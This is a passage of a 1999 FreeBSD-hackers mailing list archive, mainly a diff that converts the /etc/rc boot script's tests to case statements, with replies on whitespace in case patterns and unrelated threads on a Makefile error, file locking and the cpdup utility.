PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin -export PATH +export HOME PATH # BOOTP diskless boot. We have to run the rc file early in order to # retarget various config files. # -if [ -f /etc/rc.diskless1 ]; then +if [ -r /etc/rc.diskless1 ]; then dlv=`/sbin/sysctl -n vfs.nfs.diskless_valid 2> /dev/null` if [ ${dlv:=0} != 0 ]; then . /etc/rc.diskless1 @@ -34,59 +35,68 @@ # If there is a global system configuration file, suck it in. # -if [ -f /etc/defaults/rc.conf ]; then +if [ -r /etc/defaults/rc.conf ]; then . /etc/defaults/rc.conf -elif [ -f /etc/rc.conf ]; then +elif [ -r /etc/rc.conf ]; then . /etc/rc.conf fi # Configure ccd devices. -if [ -f /etc/ccd.conf ]; then +# +if [ -r /etc/ccd.conf ]; then ccdconfig -C fi -if [ "${start_vinum}" = "YES" ]; then +case ${start_vinum} in + [Yy][Ee][Ss] ) vinum start -elif [ -n "${vinum_drives}" ]; then + ;; + * ) + if [ -n "${vinum_drives}" ]; then vinum read ${vinum_drives} -fi + fi + ;; +esac swapon -a -if [ "$1" = "autoboot" ]; then +case $1 in + autoboot ) echo Automatic reboot in progress... fsck -p case $? in - 0) + 0 ) ;; - 2) + 2 ) exit 1 ;; - 4) + 4 ) reboot echo "reboot failed... help!" exit 1 ;; - 8) + 8 ) echo "Automatic file system check failed... help!" exit 1 ;; - 12) + 12 ) echo "Reboot interrupted" exit 1 ;; - 130) + 130 ) # interrupt before catcher installed exit 1 ;; - *) + * ) echo "Unknown error in reboot" exit 1 ;; esac -else + ;; + * ) echo Skipping disk checks ... -fi + ;; +esac set -T trap "echo 'Reboot interrupted'; exit 1" 3 @@ -94,33 +104,48 @@ # root normally must be read/write, but if this is a BOOTP NFS # diskless boot it does not have to be. # - -if [ "${root_rw_mount}" != "NO" ]; then +case ${root_rw_mount} in + [Nn][Oo] ) + ;; + * ) mount -u -o rw / -fi - -if [ $? != 0 ]; then - echo "Filesystem mount failed, startup aborted" + ;; +esac +case $? in + 0 ) + ;; + * ) + echo "Mounting root filesystem rw failed, startup aborted" exit 1 -fi + ;; +esac umount -a >/dev/null 2>&1 -if [ "${early_nfs_mounts}" != "YES" ]; then - mount -a -t nonfs -else +# Where/how would this get set? +# +case ${early_nfs_mounts} in + [Yy][Ee][Ss] ) mount -a -fi -if [ $? != 0 ]; then - echo "Filesystem mount failed, startup aborted" + ;; + * ) + mount -a -t nonfs + ;; +esac +case $? in + 0 ) + ;; + * ) + echo "Mounting /etc/fstab filesystems failed, startup aborted" exit 1 -fi + ;; +esac # Run custom disk mounting function here +# Any reason not to make this a compound test? # - if [ -n "${diskless_mount}" ]; then - if [ -f "${diskless_mount}" ]; then + if [ -r "${diskless_mount}" ]; then sh ${diskless_mount} fi fi @@ -148,46 +173,60 @@ fi # Add additional swapfile, if configured. -if [ "${swapfile}" != "NO" -a -w "${swapfile}" -a -b /dev/vn0b ]; then +# +case ${swapfile} in + [Nn][Oo] ) + ;; + * ) + if [ -w "${swapfile}" -a -b /dev/vn0b ]; then echo "Adding ${swapfile} as additional swap." vnconfig /dev/vn0b ${swapfile} && swapon /dev/vn0b -fi + fi + ;; +esac -# set sysctl variables early as we can -if [ -f /etc/rc.sysctl ]; then +# Set sysctl variables as early as we can +# +if [ -r /etc/rc.sysctl ]; then . /etc/rc.sysctl fi -# configure serial devices -if [ -f /etc/rc.serial ]; then +# Configure serial devices +# +if [ -r /etc/rc.serial ]; then . /etc/rc.serial fi -# start up PC-card configuration -if [ -f /etc/rc.pccard ]; then +# Start up PC-card configuration +# +if [ -r /etc/rc.pccard ]; then . /etc/rc.pccard fi -# start up the initial network configuration. -if [ -f /etc/rc.network ]; then +# Start up the initial network configuration. +# +if [ -r /etc/rc.network ]; then . /etc/rc.network # We only need to do this once. network_pass1 fi +# Retest for early_nfs here? +# echo -n "Mounting NFS file systems" mount -a -t nfs echo . # Whack the pty perms back into shape. +# chflags 0 /dev/tty[pqrsPQRS]* chmod 666 /dev/tty[pqrsPQRS]* chown root:wheel /dev/tty[pqrsPQRS]* -# clean up left-over files +# Clean up left-over files +# clean_var # If it hasn't already been done rm /var/run/clean_var -# # Clearing /tmp at boot-time seems to have a long tradition. It doesn't # help in any way for long-living systems, and it might accidentally # clobber files you would rather like to have preserved after a crash @@ -195,19 +234,20 @@ # # See also the example of another cleanup policy in /etc/periodic/daily. # -if [ "${clear_tmp_enable}" = "YES" ]; then +case ${clear_tmp_enable} in + [Yy][Ee][Ss] ) echo clearing /tmp - - # prune quickly with one rm, then use find to clean up /tmp/[lq]* + # one quick rm, then use find to clean up /tmp/[lq]* # (not needed with mfs /tmp, but doesn't hurt there...) (cd /tmp && rm -rf [a-km-pr-zA-Z]* && find -d . ! -name . ! -name lost+found ! -name quota.user \ ! -name quota.group -exec rm -rf -- {} \;) - -fi + ;; +esac # Remove X lock files, since they will prevent you from restarting X11 # after a system crash. +# rm -f /tmp/.X*-lock /tmp/.X11-unix/* # snapshot any kernel -c changes back to disk here @@ -217,9 +257,10 @@ # start system logging and name service (named needs to start before syslogd # if you don't have a /etc/resolv.conf) # -if [ "${syslogd_enable}" = "YES" ]; then - # Transitional symlink (for the next couple of years :) until all - # binaries had a chance to move towards /var/run/log. +case ${syslogd_enable} in + [Yy][Ee][Ss] ) + # Transitional symlink (for the next couple of years :) until + # all binaries have had a chance to move towards /var/run/log. if [ ! -h /dev/log ] ; then # might complain for r/o root f/s ln -sf /var/run/log /dev/log @@ -227,68 +268,86 @@ rm -f /var/run/log echo -n ' syslogd'; syslogd ${syslogd_flags} -fi + ;; +esac + echo '.' # enable dumpdev so that savecore can see it # /var/crash should be a directory or a symbolic link # to the crash directory if core dumps are to be saved. -if [ "${dumpdev}" != "NO" -a -e ${dumpdev} -a -d /var/crash ]; then +# +case ${dumpdev} in + [Nn][Oo] ) + ;; + * ) + if [ -e ${dumpdev} -a -d /var/crash ]; then dumpon ${dumpdev} echo -n checking for core dump... savecore /var/crash -fi + fi + ;; +esac if [ -n "${network_pass1_done}" ]; then network_pass2 fi # Enable/Check the quotas (must be after ypbind if using NIS) -if [ "${enable_quotas}" = "YES" ]; then - - # Only check quotas if they have been previously enabled, and requested - if [ "${check_quotas}" = "YES" ]; then +# +case ${enable_quotas} in + [Yy][Ee][Ss] ) + case ${check_quotas} in + [Yy][Ee][Ss] ) echo -n 'checking quotas:' quotacheck -a echo ' done.' - fi + ;; + esac echo -n 'enabling quotas:' quotaon -a echo ' done.' -fi + ;; +esac if [ -n "${network_pass2_done}" ]; then network_pass3 fi -# build ps databases +# Build ps databases +# kvm_mkdb dev_mkdb -# check the password temp/lock file -if [ -f /etc/ptmp ] -then +# Check the password temp/lock file +# +if [ -e /etc/ptmp ]; then logger -s -p auth.err \ "password file may be incorrect -- /etc/ptmp exists" fi -if [ "${accounting_enable}" = "YES" -a -d /var/account ]; then +case ${accounting_enable} in + [Yy][Ee][Ss] ) + if [ -d /var/account ]; then echo 'turning on accounting' if [ ! -e /var/account/acct ]; then touch /var/account/acct fi accton /var/account/acct -fi + fi + ;; +esac # Make shared lib searching a little faster. Leave /usr/lib first if you # add your own entries or you may come to grief. +# if [ -x /sbin/ldconfig ]; then if [ "`/usr/bin/objformat`" = "elf" ]; then _LDC=/usr/lib for i in ${ldconfig_paths}; do - if test -d ${i}; then + if [ -d ${i} ]; then _LDC="${_LDC} ${i}" fi done @@ -302,7 +361,7 @@ : ${ldconfig_paths_aout=${ldconfig_paths}} _LDC=/usr/lib/aout for i in ${ldconfig_paths_aout}; do - if test -d ${i}; then + if [ -d ${i} ]; then _LDC="${_LDC} ${i}" fi done @@ -314,47 +373,65 @@ # Now start up miscellaneous daemons that don't belong anywhere else # echo -n starting standard daemons: -if [ "${inetd_enable}" != "NO" ]; then +case ${inetd_enable} in + [Nn][Oo] ) + ;; + * ) echo -n ' inetd'; inetd ${inetd_flags} -fi + ;; +esac -if [ "${cron_enable}" != "NO" ]; then +case ${cron_enable} in + [Nn][Oo] ) + ;; + * ) echo -n ' cron'; cron -fi + ;; +esac -if [ "${lpd_enable}" = "YES" ]; then +case ${lpd_enable} in + [Yy][Ee][Ss] ) echo -n ' printer'; ${lpd_program} ${lpd_flags} -fi + ;; +esac -if [ "${sendmail_enable}" = "YES" -a -r /etc/sendmail.cf ]; then +case ${sendmail_enable} in + [Yy][Ee][Ss] ) + if [ -r /etc/sendmail.cf ]; then echo -n ' sendmail'; /usr/sbin/sendmail ${sendmail_flags} -fi + fi + ;; +esac -if [ "${usbd_enable}" = "YES" ]; then +case ${usbd_enable} in + [Yy][Ee][Ss] ) echo -n ' usbd'; /usr/sbin/usbd ${usbd_flags} -fi + ;; +esac echo '.' -# configure implementation specific stuff +# Configure implementation specific stuff +# arch=`uname -m` -if [ -f /etc/rc.${arch} ]; then +if [ -r /etc/rc.${arch} ]; then . /etc/rc.${arch} fi # Recover vi editor files. +# vibackup=`echo /var/tmp/vi.recover/vi.*` if [ "${vibackup}" != '/var/tmp/vi.recover/vi.*' ]; then echo 'Recovering vi editor sessions' for i in ${vibackup}; do # Only test files that are readable. - if test ! -r ${i}; then + if [ ! -r ${i} ]; then continue fi # Unmodified nvi editor backup files either have the # execute bit set or are zero length. Delete them. - if test -x ${i} -o ! -s ${i}; then + if [ -x ${i} -o ! -s ${i} ]; then rm -f ${i} fi done @@ -365,7 +442,7 @@ if [ "${virecovery}" != "/var/tmp/vi.recover/recover.*" ]; then for i in ${virecovery}; do # Only test files that are readable. - if test ! -r ${i}; then + if [ ! -r ${i} ]; then continue fi @@ -373,7 +450,7 @@ # corrupted, or that have no corresponding backup file. # Else send mail to the user. recfile=`awk '/^X-vi-recover-path:/{print $2}' < ${i}` - if test -n "${recfile}" -a -s "${recfile}"; then + if [ -n "${recfile}" -a -s "${recfile}" ]; then sendmail -t < ${i} else rm -f ${i} @@ -382,26 +459,40 @@ fi fi -# make a bounds file for msgs(1) if there isn't one already +# Make a bounds file for msgs(1) if there isn't one already +# "Delete important files with symlink" security hole? +# if [ ! -f /var/msgs/bounds ]; then echo 0 > /var/msgs/bounds fi -# for each valid dir in $local_startup, search for init scripts matching *.sh -if [ "${local_startup}" != "NO" ]; then +# For each valid dir in $local_startup, search for init scripts matching *.sh +# +case ${local_startup} in + [Nn][Oo] ) + ;; + * ) echo -n 'Local package initialization:' for dir in ${local_startup}; do - [ -d ${dir} ] && for script in ${dir}/*.sh; do - [ -x ${script} ] && \ + if [ -d ${dir} ]; then + for script in ${dir}/*.sh; do + if [ -x ${script} ]; then (set -T ; trap 'exit 1' 2 ; ${script} start) + fi done + fi done echo . -fi + ;; +esac -if [ "${update_motd}" != "NO" ]; then +case ${update_motd} in + [Nn][Oo] ) + ;; + * ) T=`mktemp /tmp/_motd.XXXXXX` - if [ $? -eq 0 ]; then + case $? in + 0 ) uname -v | sed -e 's,^\([^#]*\) #\(.* [1-2][0-9][0-9][0-9]\).*/\([^\]*\) $,\1 (\3) #\2,' > ${T} awk '{if (NR == 1) {if ($1 == "FreeBSD") {next} else {print "\n"$0}} else {print}}' < /etc/motd >> ${T} cmp -s ${T} /etc/motd || { @@ -409,11 +500,16 @@ chmod 644 /etc/motd } rm -f ${T} - fi -fi + ;; + esac + ;; +esac -# Run rc.devfs if present to customize devfs -[ -f /etc/rc.devfs ] && sh /etc/rc.devfs +# Run rc.devfs if readable to customize devfs +# +if [ -r /etc/rc.devfs ]; then + sh /etc/rc.devfs +fi # Do traditional (but rather obsolete) rc.local file if it exists. If you # use this file and want to make it programmatic, source /etc/defaults/rc.conf @@ -422,14 +518,14 @@ # Use /etc/rc.local # # ---- rc.local ---- -# if [ -f /etc/defaults/rc.conf ]; then +# if [ -r /etc/defaults/rc.conf ]; then # . /etc/defaults/rc.conf # fi # # ... additional startup conditionals ... # ---- rc.local ---- # -if [ -f /etc/rc.local ]; then +if [ -r /etc/rc.local ]; then echo -n 'starting local daemons:' sh /etc/rc.local echo '.' @@ -437,11 +533,15 @@ # Raise kernel security level. This should be done only after `fsck' has # repaired local file systems if you want the securelevel to be greater than 1. -if [ "${kern_securelevel_enable}" = "YES" -a "${kern_securelevel}" -ge 0 ]; -then +# +case ${kern_securelevel_enable} in + [Yy][Ee][Ss] ) + if [ "${kern_securelevel}" -ge 0 ]; then echo 'Raising kernel security level' sysctl -w kern.securelevel=${kern_securelevel} -fi + fi + ;; +esac date exit 0 --------------F0FB073CAAA5056E14E65825-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 23:34:12 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from dt011n65.san.rr.com (dt010nb9.san.rr.com [204.210.12.185]) by hub.freebsd.org (Postfix) with ESMTP id F1FF615FC8 for ; Thu, 26 Aug 1999 23:34:06 -0700 (PDT) (envelope-from Doug@gorean.org) Received: from gorean.org (master [10.0.0.2]) by dt011n65.san.rr.com (8.9.3/8.8.8) with ESMTP id XAA66511 for ; Thu, 26 Aug 1999 23:34:01 -0700 (PDT) (envelope-from Doug@gorean.org) Message-ID: <37C6315B.22B08397@gorean.org> Date: Thu, 26 Aug 1999 23:34:03 -0700 From: Doug Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.61 [en] (X11; U; FreeBSD 4.0-CURRENT-0826 i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Splash screen problem after being interrupted Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Tonight while testing my rc file changes I decided to interrupt the splash screen display I have to see the boot messages. I hit scroll lock to do this, and it killed the splash screen, but when I went to log in the keyboard on the console was pretty much fubar. Every key was mapped to a different value, and I couldn't even C-A-D to reboot clean, I had to do a soft reset. Obviously this is a "... well don't do that" case, but I'm not sure it should be fatal. Hopefully this is of use to someone. Doug To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 23:44:11 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mta3.rcsntx.swbell.net (mta3.rcsntx.swbell.net [151.164.30.27]) by hub.freebsd.org (Postfix) with ESMTP id F011015DD4 for ; Thu, 26 Aug 1999 23:44:01 -0700 (PDT) (envelope-from chris@holly.dyndns.org) Received: from holly.dyndns.org (adsl-216-62-157-60.dsl.hstntx.swbell.net) by mta3.rcsntx.swbell.net (Sun Internet Mail Server sims.3.5.1999.05.24.18.28.p7) with ESMTP id <0FH400AJ22MZN3@mta3.rcsntx.swbell.net> for freebsd-hackers@FreeBSD.ORG; Fri, 27 Aug 1999 01:42:36 -0500 (CDT) Received: (from chris@localhost) by holly.dyndns.org (8.9.3/8.9.3) id BAA18739; Fri, 27 Aug 1999 01:44:34 -0500 (CDT envelope-from chris) Date: Fri, 27 Aug 1999 01:44:34 -0500 From: Chris Costello Subject: Re: Please review: rc file changes In-reply-to: <37C63094.8350A91B@gorean.org> To: Doug Cc: freebsd-hackers@FreeBSD.ORG Reply-To: chris@calldei.com Message-id: <19990827014434.A18715@holly.calldei.com> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii User-Agent: Mutt/0.96.4i References: <37C63094.8350A91B@gorean.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, Aug 26, 1999, Doug wrote: > Greetings, > > As previously discussed, here is a first draft of the rc* script mods. I > consider the first step in this process to be Jordan's cleanup of the > variable syntax. This is step 2, which most notably converts test's dealing > with variables to case wherever possible. It also does the following. > 2. value ) instead of value) for case statements Why? What's wrong with `value)'? -- |Chris Costello |Don't compare floating point numbers solely for equality. `--------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 23:45:58 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from dt011n65.san.rr.com (dt010nb9.san.rr.com [204.210.12.185]) by hub.freebsd.org (Postfix) with ESMTP id 600B915442 for ; Thu, 26 Aug 1999 23:45:54 -0700 (PDT) (envelope-from Doug@gorean.org) Received: from gorean.org (master [10.0.0.2]) by dt011n65.san.rr.com (8.9.3/8.8.8) with ESMTP id XAA66988; Thu, 26 Aug 1999 23:45:41 -0700 (PDT) (envelope-from Doug@gorean.org) Message-ID: <37C63417.C1E399F@gorean.org> Date: Thu, 26 Aug 1999 23:45:43 -0700 From: Doug Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.61 [en] (X11; U; FreeBSD 4.0-CURRENT-0826 i386) X-Accept-Language: en MIME-Version: 1.0 To: chris@calldei.com Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Please review: rc file changes References: <37C63094.8350A91B@gorean.org> <19990827014434.A18715@holly.calldei.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Chris Costello wrote: > > On Thu, Aug 26, 1999, Doug wrote: > > Greetings, > > > > As previously discussed, here is a first draft of the rc* script mods. I > > consider the first step in this process to be Jordan's cleanup of the > > variable syntax. This is step 2, which most notably converts test's dealing > > with variables to case wherever possible. It also does the following. > > > 2. value ) instead of value) for case statements > > Why? What's wrong with `value)'? Nothing functionally, but I find case statements much easier to read with the extra whitespace. Doug To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 0: 4:25 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mta4.rcsntx.swbell.net (mta4.rcsntx.swbell.net [151.164.30.28]) by hub.freebsd.org (Postfix) with ESMTP id E701C152B9 for ; Fri, 27 Aug 1999 00:04:01 -0700 (PDT) (envelope-from chris@holly.dyndns.org) Received: from holly.dyndns.org (adsl-216-62-157-60.dsl.hstntx.swbell.net) by mta4.rcsntx.swbell.net (Sun Internet Mail Server sims.3.5.1999.05.24.18.28.p7) with ESMTP id <0FH400D6433JNR@mta4.rcsntx.swbell.net> for freebsd-hackers@FreeBSD.ORG; Fri, 27 Aug 1999 01:52:31 -0500 (CDT) Received: (from chris@localhost) by holly.dyndns.org (8.9.3/8.9.3) id BAA18866; Fri, 27 Aug 1999 01:54:29 -0500 (CDT envelope-from chris) Date: Fri, 27 Aug 1999 01:54:29 -0500 From: Chris Costello Subject: Re: Please review: rc file changes In-reply-to: <37C63417.C1E399F@gorean.org> To: Doug Cc: freebsd-hackers@FreeBSD.ORG Reply-To: chris@calldei.com Message-id: <19990827015429.C18715@holly.calldei.com> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii User-Agent: Mutt/0.96.4i References: <37C63094.8350A91B@gorean.org> <19990827014434.A18715@holly.calldei.com> <37C63417.C1E399F@gorean.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, Aug 26, 1999, Doug wrote: > > > 2. value ) instead of value) for case statements > > > > Why? What's wrong with `value)'? > > Nothing functionally, but I find case statements much easier to read with > the extra whitespace. Would that not cause problems? [A-Z]* ) # ... matches "ZOUNDS " but not "ZOUNDS" ? ;; I'd think it might have trouble with that whitespace. And to quote sh(1)'s man page: The syntax of the case command is case word in pattern) list ;; esac -- |Chris Costello |When a program is being tested, it is too late to make design changes. `---------------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 0:18:12 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from dt010nb9.san.rr.com (dt010nb9.san.rr.com [204.210.12.185]) by hub.freebsd.org (Postfix) with ESMTP id 15B1514CA6 for ; Fri, 27 Aug 1999 00:18:09 -0700 (PDT) (envelope-from Doug@gorean.org) Received: from localhost (doug@localhost) by dt010nb9.san.rr.com (8.9.3/8.8.8) with ESMTP id AAA67165; Fri, 27 Aug 1999 00:18:07 -0700 (PDT) (envelope-from Doug@gorean.org) Date: Fri, 27 Aug 1999 00:18:07 -0700 (PDT) From: Doug X-Sender: doug@dt010nb9.san.rr.com To: Chris Costello Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Please review: rc file changes In-Reply-To: <19990827015429.C18715@holly.calldei.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 27 Aug 1999, Chris Costello wrote: > On Thu, Aug 26, 1999, Doug wrote: > > > > 2. value ) instead of value) for case statements > > > > > > Why? What's wrong with `value)'? > > > > Nothing functionally, but I find case statements much easier to read with > > the extra whitespace. > > Would that not cause problems? Nope. As most things shell it (rightly) ignores the whitespace. Take a look at this little script to prove it to yourself: #!/bin/sh VAR=foo case $VAR in foo ) echo "I don't care about whitespace" ;; foo) echo "OOoops, guess I do" ;; esac VAR='foo ' case $VAR in foo ) echo "D'oh! I see the whitespace in the variable" ;; foo) echo "D'oh! I don't see the whitespace in the variable" ;; 'foo ' ) echo "I see what I am supposed to see" ;; esac Doug To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 1:32: 9 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175]) by hub.freebsd.org (Postfix) with ESMTP id B2E7115ED6 for ; Fri, 27 Aug 1999 01:31:59 -0700 (PDT) (envelope-from sheldonh@axl.noc.iafrica.com) Received: from sheldonh (helo=axl.noc.iafrica.com) by axl.noc.iafrica.com with local-esmtp (Exim 3.02 #1) id 11KHQL-000EMI-00 for hackers@freebsd.org; Fri, 27 Aug 1999 10:31:49 +0200 From: Sheldon Hearn To: hackers@freebsd.org Subject: REQ: Help with apparently impossible error in Makefile.inc1 Date: Fri, 27 Aug 1999 10:31:49 +0200 Message-ID: <55197.935742709@axl.noc.iafrica.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi folks, While testing out a change I'm proposing for src/Makefile.inc1 (see my PR 13398, which proposes the addition of a WHICH_GAMES knob), I've hit my head against something I can't figure out. Basically, I have the following in Makefile.inc1: | .if !defined(NOGAMES) && exists(${.CURDIR}/games) | cd ${DESTDIR}/usr/games | .if !empty(WHICH_GAMES:Mcaesar) | cp -p caesar ${DESTDIR}/usr/bin | .endif | .if !empty(WHICH_GAMES:Mfortune) | cp -p strfile ${DESTDIR}/usr/bin | .endif | .endif I get the following error during buildworld: | cd /usr/obj/usr/src/tmp/usr/games | cp -p caesar /usr/obj/usr/src/tmp/usr/bin | cp: caesar: No such file or directory | *** Error code 1 However, the file caesar definitely exists in the directory /usr/obj/usr/src/tmp/usr/games and when I go into that directory and issue the offending command manually, it succeeds! Help. :-) Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 2:11:37 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from not.demophon.com (ns.demophon.com [193.65.70.13]) by hub.freebsd.org (Postfix) with ESMTP id 80F9E1550F for ; Fri, 27 Aug 1999 02:11:29 -0700 (PDT) (envelope-from will@not.demophon.com) Received: (from will@localhost) by not.demophon.com (8.9.3/8.8.7) id MAA63542; Fri, 27 Aug 1999 12:10:11 +0300 (EEST) (envelope-from will) To: tlambert@primenet.com (Terry Lambert) Cc: wes@softweyr.com, hackers@freebsd.org Subject: Re: Mandatory locking? References: <19990826065947.19862.qmail@ns.oeno.com> <199908262202.PAA09492@usr06.primenet.com> From: Ville-Pertti Keinonen Date: 27 Aug 1999 12:10:10 +0300 In-Reply-To: tlambert@primenet.com's message of "27 Aug 1999 01:04:42 +0300" Message-ID: <86r9kpwpvx.fsf@not.demophon.com> Lines: 28 X-Mailer: Gnus v5.5/XEmacs 20.4 - "Emerald" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG tlambert@primenet.com (Terry Lambert) writes: > I think this has been the basis of your objection so far. If so, > it's a fundamental misunderstanding of "mandatory". In this context What I was objecting to were some of the arguments made by Greg Lehey and Wes Peters, both of whom explicitly stated that opening does not block. It had nothing to do with mandatory locking beyond that (quite possibly flawed) interpretation. > By your definiton of explicit, no. However, explicit locking is > voluntary, just as advisory locking is voluntary, in terms of > whether programs participate (or not). > This pretty much means that explicit locking degrades to advisory > locking, in the presence of (un)intentionally non-participatory > programs. That's basically what my objection was. The "deadlock prone" objection made by others applies more strongly to implicit locking, and is also valid. It can take quite a bit of care to ensure that there is always a maintenance path to the system that allows a sufficient environment to be used without blocking on locked files to allow root to get in and kill any processes causing problems. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 2:14:37 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gw.ukrcom.net.ua (gw.ukrcom.net.ua [193.193.214.214]) by hub.freebsd.org (Postfix) with ESMTP id 8E9BB14C28 for ; Fri, 27 Aug 1999 02:13:15 -0700 (PDT) (envelope-from msn@usb.sumy.ua) Received: from usb.sumy.ua (iskra.ukrcom.net.ua [193.193.214.2]) by gw.ukrcom.net.ua (8.9.3/8.9.2) with SMTP id MAA95506 for ; Fri, 27 Aug 1999 12:13:01 +0300 (EEST) (envelope-from msn@usb.sumy.ua) Received: from msn [127.0.0.1] by usb.sumy.ua [127.0.0.1] with SMTP (MDaemon.v2.7.SP5.R) for ; Fri, 27 Aug 1999 12:10:09 +0300 Message-ID: <001501bef06b$f62158a0$0100a8c0@msn> From: "Sergey Mashtaler" To: Subject: Date: Fri, 27 Aug 1999 12:10:08 +0300 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 X-MDaemon-Deliver-To: freebsd-hackers@freebsd.org X-Return-Path: msn@usb.sumy.ua Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG help To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 3:10:44 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gw-nl1.philips.com (gw-nl1.philips.com [192.68.44.33]) by hub.freebsd.org (Postfix) with ESMTP id 116AB14FA2 for ; Fri, 27 Aug 1999 03:09:51 -0700 (PDT) (envelope-from Jos.Backus@nl.origin-it.com) Received: from smtprelay-nl1.philips.com (localhost.philips.com [127.0.0.1]) by gw-nl1.philips.com with ESMTP id MAA06435 for ; Fri, 27 Aug 1999 12:07:55 +0200 (MEST) (envelope-from Jos.Backus@nl.origin-it.com) Received: from smtprelay-eur1.philips.com(130.139.36.3) by gw-nl1.philips.com via mwrap (4.0a) id xma006424; Fri, 27 Aug 99 12:07:55 +0200 Received: from hal.mpn.cp.philips.com (hal.mpn.cp.philips.com [130.139.64.195]) by smtprelay-nl1.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with SMTP id MAA12449 for ; Fri, 27 Aug 1999 12:07:54 +0200 (MET DST) Received: (qmail 24185 invoked by uid 666); 27 Aug 1999 10:08:16 -0000 Date: Fri, 27 Aug 1999 12:08:16 +0200 From: Jos Backus To: hackers@freebsd.org Subject: cpdup status? Message-ID: <19990827120816.A23051@hal.mpn.cp.philips.com> Reply-To: Jos Backus Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.7i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Any news regarding its status with regard to FreeBSD? I searched -hackers and found - a post by Dom Mitchell () in which he submits a port, - and a post by Sheldon Hearn (<19968.933090022@axl.noc.iafrica.com>) in which he said he would commit a port soon. Fwiw, I think it's a very useful utility. -- Jos Backus _/ _/_/_/ "Reliability means never _/ _/ _/ having to say you're sorry." _/ _/_/_/ -- D. J. Bernstein _/ _/ _/ _/ Jos.Backus@nl.origin-it.com _/_/ _/_/_/ use Std::Disclaimer; To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 3:17: 6 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from uni4nn.gn.iaf.nl (osmium.gn.iaf.nl [193.67.144.12]) by hub.freebsd.org (Postfix) with ESMTP id 2D28714D59; Fri, 27 Aug 1999 03:17:01 -0700 (PDT) (envelope-from wilko@yedi.iaf.nl) Received: from yedi.iaf.nl (uucp@localhost) by uni4nn.gn.iaf.nl (8.9.2/8.9.2) with UUCP id LAA30942; Fri, 27 Aug 1999 11:53:25 +0200 (MET DST) Received: (from wilko@localhost) by yedi.iaf.nl (8.9.3/8.9.3) id LAA31165; Fri, 27 Aug 1999 11:50:12 +0200 (CEST) (envelope-from wilko) From: Wilko Bulte Message-Id: <199908270950.LAA31165@yedi.iaf.nl> Subject: Re: Intel Merced FreeBSD??? In-Reply-To: from Kenny Drobnack at "Aug 26, 1999 11:35:43 pm" To: kdrobnac@mission.mvnc.edu (Kenny Drobnack) Date: Fri, 27 Aug 1999 11:50:12 +0200 (CEST) Cc: freebsd-hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG X-Organisation: Private FreeBSD site - Arnhem, The Netherlands X-pgp-info: PGP public key at 'finger wilko@freefall.freebsd.org' X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII 